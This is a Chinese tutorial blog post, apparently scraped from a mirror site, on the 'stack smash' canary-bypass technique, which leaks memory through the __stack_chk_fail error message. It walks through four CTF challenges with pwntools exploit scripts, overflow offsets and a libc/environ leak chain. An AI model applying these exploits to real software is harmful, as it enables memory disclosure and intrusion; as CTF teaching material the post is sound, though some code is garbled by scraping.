zoukankan      html  css  js  c++  java
  • 栈溢出技巧-中

    作者:caps

    基于报错类的栈保护

    canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子:

    #include <stdio.h>
    
    void main(int argc, char **argv) {
    
        char buf[10];
    
        scanf("%s", buf);
    
    }
    
    pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
    

    看一下其汇编代码

    Dump of assembler code for function main:
    
       0x0000000000000740 <+0>: push   rbp
    
       0x0000000000000741 <+1>: mov    rbp,rsp
    
       0x0000000000000744 <+4>: sub    rsp,0x30
    
       0x0000000000000748 <+8>: mov    DWORD PTR [rbp-0x24],edi
    
       0x000000000000074b <+11>:    mov    QWORD PTR [rbp-0x30],rsi
    
       0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
    
       0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
    
       0x000000000000075c <+28>:    xor    eax,eax
    
       0x000000000000075e <+30>:    lea    rax,[rbp-0x12]
    
       0x0000000000000762 <+34>:    mov    rsi,rax
    
       0x0000000000000765 <+37>:    lea    rdi,[rip+0xb8]        # 0x824
    
       0x000000000000076c <+44>:    mov    eax,0x0
    
       0x0000000000000771 <+49>:    call   0x5f0 <__isoc99_scanf@plt>
    
       0x0000000000000776 <+54>:    mov    rax,QWORD PTR [rbp-0x30]
    
       0x000000000000077a <+58>:    lea    rdx,[rip+0xa6]        # 0x827
    
       0x0000000000000781 <+65>:    mov    QWORD PTR [rax],rdx
    
       0x0000000000000784 <+68>:    nop
    
       0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
    
       0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28
    
       0x0000000000000792 <+82>:    je     0x799 <main+89>
    
       0x0000000000000794 <+84>:    call   0x5e0 <__stack_chk_fail@plt>
    
       0x0000000000000799 <+89>:    leave  
    
       0x000000000000079a <+90>:    ret    
    
    End of assembler dump.
    

    找到<+15> <+24>和<+69><+73>处

      0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
    
       0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
    
    .....
    
       0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
    
       0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28
    

    前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。

    __attribute__ ((noreturn)) 
    
    __stack_chk_fail (void) {   
    
        __fortify_fail ("stack smashing detected"); 
    
    }
    
    
    
    
    void __attribute__ ((noreturn)) 
    
    __fortify_fail (msg)
    
       const char *msg; {
    
          /* The loop is added only to keep gcc happy. */
    
             while (1)
    
                  __libc_message (2, "*** %s ***: %s terminated
    ", msg, __libc_argv[0] ?: "<unknown>") 
    
    } 
    
    libc_hidden_def (__fortify_fail)
    

    最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated ", msg, __libc_argv[0] ?: "<unknown>") ,关键点来了。一、可以打印信息二、__libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是* argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数。其中argv[0]指向程序运行的全路径名,也就是程序的名字,比如例子中的./a.out,argv[1] 指向在命令行中执行程序名后的第一个字符串,以此类推。但是这样看来,libc_argv[0]似乎是不可以控制的,或者只能使用修改程序名来进行控制。继续看这么一个小实验,先看一下这个错误信息是怎么打印的(至于为什么是输出50个字节,随后再探究)。

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
    
    *** stack smashing detected ***: ./a.out terminated
    
    段错误 

    如果我们在程序中强行修改__libc_argv[0]会怎么样?

    #include <stdio.h>
    
    void main(int argc, char **argv) {
    
        char buf[10];
    
        scanf("%s", buf);
    
        argv[0] = "stack smash!";
    
    }
    
    pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
    
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
    
    *** stack smashing detected ***: stack smash! terminated
    
    段错误
    

    可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。

    stack smash原理

    调试fortify_fail 函数,找到libc_message函数的部分汇编代码:

    0x7ffff7b331d0 <__fortify_fail+16>    mov    rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8>
    

    然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。

    对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验:

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out
    
    *** stack smashing detected ***: ./a.out terminated
    
    段错误
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out
    
    *** stack smashing detected ***:  terminated
    
    段错误
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out
    
    *** stack smashing detected ***:  terminated
    
    段错误
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out
    
    段错误 

    buf(0x7fffffffcd00)和__libc_argv0

    处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值:

    达不到覆盖的距离:
    21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'
    
    刚好达到覆盖的距离,读入x00刚好覆盖到:
    21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '	' */
    
    覆盖形成的地址在内存中可以找到:
    21:0108│      0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0
    
    Cannot access memory at address 0x7fffff004141:
    
    21:0108│      0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */  
    

    因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。

    题目一

    2015 年 32C3 CTF readme题目分析如下:

    unsigned __int64 sub_4007E0()
    {
      __int64 v0; // rbx
      int v1; // eax
      __int64 v3; // [rsp+0h] [rbp-128h]
      unsigned __int64 v4; // [rsp+108h] [rbp-20h]
    
    
      v4 = __readfsqword(0x28u);
      __printf_chk(1LL, "Hello!
    What's your name? ");
      if ( !_IO_gets(&v3) )
    LABEL_9:
        _exit(1);
      v0 = 0LL;
      __printf_chk(1LL, "Nice to meet you, %s.
    Please overwrite the flag: ");
      while ( 1 )
      {
        v1 = _IO_getc(stdin);
        if ( v1 == -1 )
          goto LABEL_9;
        if ( v1 == 10 )
          break;
        byte_600D20[v0++] = v1;
        if ( v0 == 32 )
          goto LABEL_8;
      }
      memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
    LABEL_8:
      puts("Thank you, bye!");
      return __readfsqword(0x28u) ^ v4;
    }
    
    
    pwn@pwn-PC:~/Desktop$ ./readme.bin 
    Hello!
    What's your name? aaa
    Nice to meet you, aaa.
    Please overwrite the flag: aaa
    Thank you, bye!
    pwn@pwn-PC:~/Desktop$ checksec readme.bin 
    [*] '/home/pwn/Desktop/readme.bin'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
        FORTIFY:  Enabled
    

    程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"
    "'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAAA...
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***: ./readme.bin terminated
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"
    "'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAAA...
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***: ./readme.bin terminated
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"
    "'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAAA...
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***:   terminated
    

    因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下:

    gdb-peda$ find /home
    
    Searching for '/home' in: None ranges
    
    Found 5 results, display max 5 items:
    
    [stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
    
    [stack] : 0x7fffffffec71 ("/home/pwn/Desktop")
    
    [stack] : 0x7fffffffec91 ("/home/pwn")
    
    [stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")
    
    [stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")
    
    gdb-peda$ find 0x7fffffffd0c8
    
    Searching for '0x7fffffffd0c8' in: None ranges
    
    Found 2 results, display max 2 items:
    
       libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
    
    [stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
    
    gdb-peda$ distance $rsp 0x7fffffffcde8
    
    From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords
    
    这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2. 

    可以在IDA下发现.data段的变量

    .data:0000000000600D20 byte_600D20     db 33h                  ; DATA XREF: sub_4007E0+6E↑w
    
    .data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0
    

    只需要将此变量进行显示即可,于是构造payload:

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"
    "+'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAA.....
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***:   terminated
    
     

    没有成功,再看代码逻辑。

      0x40083f:    call   0x4006a0 <_IO_getc@plt>
    
       0x400844:    cmp    eax,0xffffffff
    
       0x400847:    je     0x40089f
    
       0x400849:    cmp    eax,0xa
    
       0x40084c:    je     0x400860
    
       0x40084e:    mov    BYTE PTR [rbx+0x600d20],al
    
       0x400854:    add    rbx,0x1
    
       0x400858:    cmp    rbx,0x20
    
       0x40085c:    jne    0x400838
    

    这是第二次输入的汇编部分,其中执行了mov    BYTE PTR [rbx+0x600d20],al(此时rbx = 0),也就是byte_600D20[v0++] = v1,这就把byte_600D20变量循环覆盖掉,如下:

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"
    "+"BBBB"'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAA.....
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***: BBBB terminated
    

    但是当ELF文件比较小的时候,它的不同区段可能会被多次映射,在ELF内存映射的时候,bss段会被映射两次,也就是说flag有备份,我们可以使用另一处的地址进行输出,如下:

    gdb-peda$ find 32C3
    
    Searching for '32C3' in: None ranges
    
    Found 2 results, display max 2 items:
    
    readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
    
    readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
    

    此时选择0x400d20进行构造payload即可成功打印出来。

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"
    "'|./readme.bin
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAAAA....
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
    
    段错误 

    由于题目在远程服务器上,而且LIBC_FATAL_STDERR=0,这个错误提示只会显示在远端,不会返回到我们这端。因此必须设置如下环境变量LIBC_FATAL_STDERR=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。那么环境变量在哪?有什么用?在libc_message函数的源代码可以看到LIBC_FATAL_STDERR_使用读取了环境变量libc_secure_getenv。如果它没有被设置、或者为空(x00或NULL),那么stderr被重定向到_PATH_TTY(这通常是/dev/tty),因此将错误消息不被发送,只在服务器侧可见。位置在高于libc_argv[0]内存单元,且在libc_main[0]地址+8之后。因此exp:

    from pwn import *
    
    env_addr = 0x600d20
    
    flag_addr = 0x400d20
    
    
    
    
    r = process('./read.bin')
    
    r.recvuntil("What's your name? ")
    
    r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr))
    
    r.sendline("LIBC_FATAL_STDERR_=1")
    
    r.recvuntil("*** stack smashing detected ***: ")
    
    log.info("The flag is: %s" % r.recvuntil(" ").strip())
    

    本地测试:

    题目二

    2018年网鼎杯中guess题目,相对于题目一,flag的位置在栈中而不是bss段,而且ASLR后地址是无法预测的。

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    
    {
    
      __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
    
      int v5; // [rsp+1Ch] [rbp-84h]
    
      __int64 v6; // [rsp+20h] [rbp-80h]
    
      __int64 v7; // [rsp+28h] [rbp-78h]
    
      char buf; // [rsp+30h] [rbp-70h]
    
      char s2; // [rsp+60h] [rbp-40h]
    
      unsigned __int64 v10; // [rsp+98h] [rbp-8h]
    
    
    
    
      v10 = __readfsqword(0x28u);
    
      v7 = 3LL;
    
      LODWORD(stat_loc.__uptr) = 0;
    
      v6 = 0LL;
    
      sub_4009A6();
    
      HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
    
      if ( HIDWORD(stat_loc.__iptr) == -1 )
    
      {
    
        perror("./flag.txt");
    
        _exit(-1);
    
      }
    
      read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
    
      close(SHIDWORD(stat_loc.__iptr));
    
      puts("This is GUESS FLAG CHALLENGE!");
    
      while ( 1 )
    
      {
    
        if ( v6 >= v7 )
    
        {
    
          puts("you have no sense... bye :-) ");
    
          return 0LL;
    
        }
    
        v5 = sub_400A11();
    
        if ( !v5 )
    
          break;
    
        ++v6;
    
        wait((__WAIT_STATUS)&stat_loc);
    
      }
    
      puts("Please type your guessing flag");
    
      gets(&s2);
    
      if ( !strcmp(&buf, &s2) )
    
        puts("You must have great six sense!!!! :-o ");
    
      else
    
        puts("You should take more effort to get six sence, and one more challenge!!");
    
      return 0LL;
    
    }
    
    
    
    
    pwn@pwn-PC:~/Desktop$ checksec GUESS 
    
    [*] '/home/pwn/Desktop/GUESS'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      No PIE (0x400000)
    

    先捋一捋流程首先由于使用了gets,因此可以无限制溢出,并且有三次机会。然后发现flag.txt中flag值通过read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)读入到了栈中,&buf处。最后开启了canary,可以使用stack smashing的方法泄漏处flag的值。那么怎样去构造呢?想要获取flag的值,就得获取buf的栈中的地址,因为ASLR的原因,那么需要先泄漏libc的基址,根据偏移去计算出加载后的栈中buf的地址。但是现在问题是得到了libc的的加载地址,怎么算出stack的加载地址,因为每次加载的时候,两者相距的长度变化的。解决的办法就是找一个与stack的加载地址的偏移量不变的参照物,或者说与buf的栈地址偏移量不变的参照物,此参照物可以根据已有的条件计算出实际的加载地址。此时就需要补充一个知识点:在libc中保存了一个函数叫environ,存的是当前进程的环境变量,environ指向的位置是栈中环境变量的地址,其中environ的地址 = libc基址 + _environ的偏移量,也就说在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量和libc库有关,environ的地址(&environ)和libc基址的偏移量是不会的,并且通过&environ找到_environ内存单元中的值是栈中环境变量的地址,根据此地址可以找到环境变量。

    pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ
    
    dc97d:  48 c7 05 c0 f5 2b 00    movq   $0xfff,0x2bf5c0(%rip)        # 39bf48 <__environ@@GLIBC_2.2.5+0x10>
    
    .....
    

    __environ在libc中的偏移量为0x39bf38。

    这样一来,栈中environ的值和buf的栈地址的相对位置是固定的,可以根据environ的值-偏移量=buf的栈地址。那么程序中这三次输入分别是:第一次,通过泄露函数的got表内容,计算得到libc基址。第二次,通过libc基址和偏移量计算得到&environ,获取environ的值。第三次,通过_environ的值,计算出buf的栈地址,泄露buf中存储的flag的值。步骤如下:第一次泄漏libc基址

    from pwn import *
    
    # context.arch = 'amd64'
    
    # context.log_level = 'debug'
    
    # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    
    p = process('./GUESS')
    
    elf = ELF("./GUESS")
    
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    gets_got = elf.got['gets']
    
    # print hex(gets_got)
    
    p.recvuntil('guessing flag
    ')
    
    payload = 'a' * 0x128 + p64(gets_got)
    
    p.sendline(payload)
    
    p.recvuntil('detected ***: ')
    
    gets_addr = u64(p.recv(6).ljust(0x8,'x00'))
    
    libc_base_addr = gets_addr - libc.symbols['gets']
    
    print 'libc_base_addr: ' + hex(libc_base_addr)
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    
    [+] Starting local process './GUESS': pid 28733
    
    [*] '/home/pwn/Desktop/GUESS'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      No PIE (0x400000)
    
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      PIE enabled
    
    libc_base_addr: 0x7ff71434f000
    

    第二次泄漏_environ的值

    environ_addr = libc_base_addr + libc.symbols['_environ']
    
    # print 'environ_addr: ' + hex(environ_addr)
    
    payload1 = 'a' * 0x128 + p64(environ_addr)
    
    p.recvuntil('Please type your guessing flag')
    
    p.sendline(payload1)
    
    p.recvuntil('stack smashing detected ***: ')
    
    stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
    
    print 'stack_addr: '+hex(stack_addr)
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    
    [+] Starting local process './GUESS': pid 29707
    
    [*] '/home/pwn/Desktop/GUESS'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      No PIE (0x400000)
    
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      PIE enabled
    
    libc_base_addr: 0x7f8d02122000
    
    stack_addr: 0x7ffc5a61c908
    

    第三次泄漏flag的值

     

    计算出stack_addr和buf_addr的相距长度
    
    pwndbg> distance 0x7fffffffcca0 0x7fffffffce08
    
    0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words)
    
    
    
    
    payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
    
    p.recvuntil('Please type your guessing flag')
    
    p.sendline(payload2)
    
    p.recvuntil('stack smashing detected ***: ')
    
    flag = p.recvline()
    
    print 'flag:' + flag
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    
    [+] Starting local process './GUESS': pid 29877
    
    [*] '/home/pwn/Desktop/GUESS'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      No PIE (0x400000)
    
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
    
        Arch:     amd64-64-little
    
        RELRO:    Partial RELRO
    
        Stack:    Canary found
    
        NX:       NX enabled
    
        PIE:      PIE enabled
    
    libc_base_addr: 0x7f8d02122000
    
    stack_addr: 0x7ffc5a61c908
    
    flag: flag{stack_smash}
    
    exp:
    
    from pwn import *
    
    # context.arch = 'amd64'
    
    # context.log_level = 'debug'
    
    # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
    
    p = process('./GUESS')
    
    elf = ELF("./GUESS")
    
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    gets_got = elf.got['gets']
    
    # print hex(gets_got)
    
    p.recvuntil('guessing flag
    ')
    
    payload = 'a' * 0x128 + p64(gets_got)
    
    p.sendline(payload)
    
    p.recvuntil('detected ***: ')
    
    gets_addr = u64(p.recv(6).ljust(0x8,'x00'))
    
    libc_base_addr = gets_addr - libc.symbols['gets']
    
    print 'libc_base_addr: ' + hex(libc_base_addr)
    
    
    
    
    environ_addr = libc_base_addr + libc.symbols['_environ']
    
    # print 'environ_addr: ' + hex(environ_addr)
    
    payload1 = 'a' * 0x128 + p64(environ_addr)
    
    p.recvuntil('Please type your guessing flag')
    
    p.sendline(payload1)
    
    p.recvuntil('stack smashing detected ***: ')
    
    stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
    
    print 'stack_addr: '+hex(stack_addr)
    
    
    
    
    payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
    
    p.recvuntil('Please type your guessing flag')
    
    p.sendline(payload2)
    
    p.recvuntil('stack smashing detected ***: ')
    
    flag = p.recvline()
    
    print 'flag:' + flag
    

     

     

    题目三

    Jarvis OJ中的smashes,与题目一一样,但是可以直接在本地显示错误信息,只是提供了一个复现场景

     

    pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "
    "'|./smashes.44838f6edd4408a53feb2e2bbfe5b229 
    
    Hello!
    
    What's your name? Nice to meet you, AAAAAA..... 
    
    Please overwrite the flag: Thank you, bye!
    
    *** stack smashing detected ***: PCTF{Here's the flag on server} terminated
    
    exp:
    from pwn import *
    
    p=remote("pwn.jarvisoj.com","9877")
    
    p.recvuntil("name?");
    
    flag_addr=0x400d20                                                                                                 
    
    payload='a'*0x218+p64(flag_addr)+'
    '
    
    p.sendline(payload)
    
    p.recvuntil('stack smashing detected ***: ')
    
    flag = p.recvline()
    
    print flag
    
    
    
    
    pwn@pwn-PC:~/Desktop$ python exp.py 
    
    [+] Opening connection to pwn.jarvisoj.com on port 9877: Done
    
    PCTF{57dErr_Smasher_good_work!} terminated
    
    
    
    
    [*] Closed connection to pwn.jarvisoj.com port 9877
    
    ````
    

     

     

     题目四

    main函数中存在栈溢出,源码如下:

     

    int __cdecl main(int argc, const char argv, const char envp){  __int64 v4; // rsp+18h  char v5; // rsp+20h  char v6; // rsp+A0h  unsigned __int64 v7; // rsp+128h
    
     v7 = __readfsqword(0x28u);  putenv("LIBC_FATAL_STDERR_=1", argv, envp);  v4 = fopen64("flag.txt", "r");  if ( v4 )  {    fgets(&v5, 32LL, v4);    fclose(v4);    printf((unsigned __int64)"Interesting data loaded at %p
    Your username? "); 
    fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo datos"); } return 0;} pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl
    0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso] 0x7ffffffdd000 0x7ffffffff000 rw-p
    22000 0 [stack]0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

    开启了ASLR,并且可以知道程序将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,这看起来与题目二相似,可以使用其思路,但是vmmap发现这没有动态编译,那么此思路就pass掉,再去找其他的办法,百思不得其解时,运行一下程序,发现会输出一个地址,回过头去看代码才发现因自己的知识储备太少,没有注意到prinf的中%p的是匹配的哪。

    
    

    发现程序一开始输出的地址,就是v5所在的栈地址,也就是flag的地址,步骤如下:
    找到__libc_argv[0]的地址:

    43:0218│ rsi  0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'
    
     

    计算出偏移量:

    pwndbg> i r rbprbp            0x7fffffffcd10   0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words)
    
     

    获取flag:

    from pwn import *
    
    sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline()
    
    pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 * stack smashing detected *: flag{stack_smash}
    

    推荐实操作业:

    高级栈溢出技术—ROP实战(split) ,复制下方链接操作!

    实验:高级栈溢出技术-ROP实战(split)(合天网安实验室)

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    gc buffer busy解释
    验证db time
    如何优化log file sync
    客户数据库出现大量cache buffer chains latch
    一份awr分析
    Statspack报告中Rollback per trans过高怎么办
    awr分析要点记录
    Oracle AWR报告及统计数据之DB Time说明
    Oracle 相关视图tips
    struts2 action 乱码
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14627687.html
Copyright © 2011-2022 走看看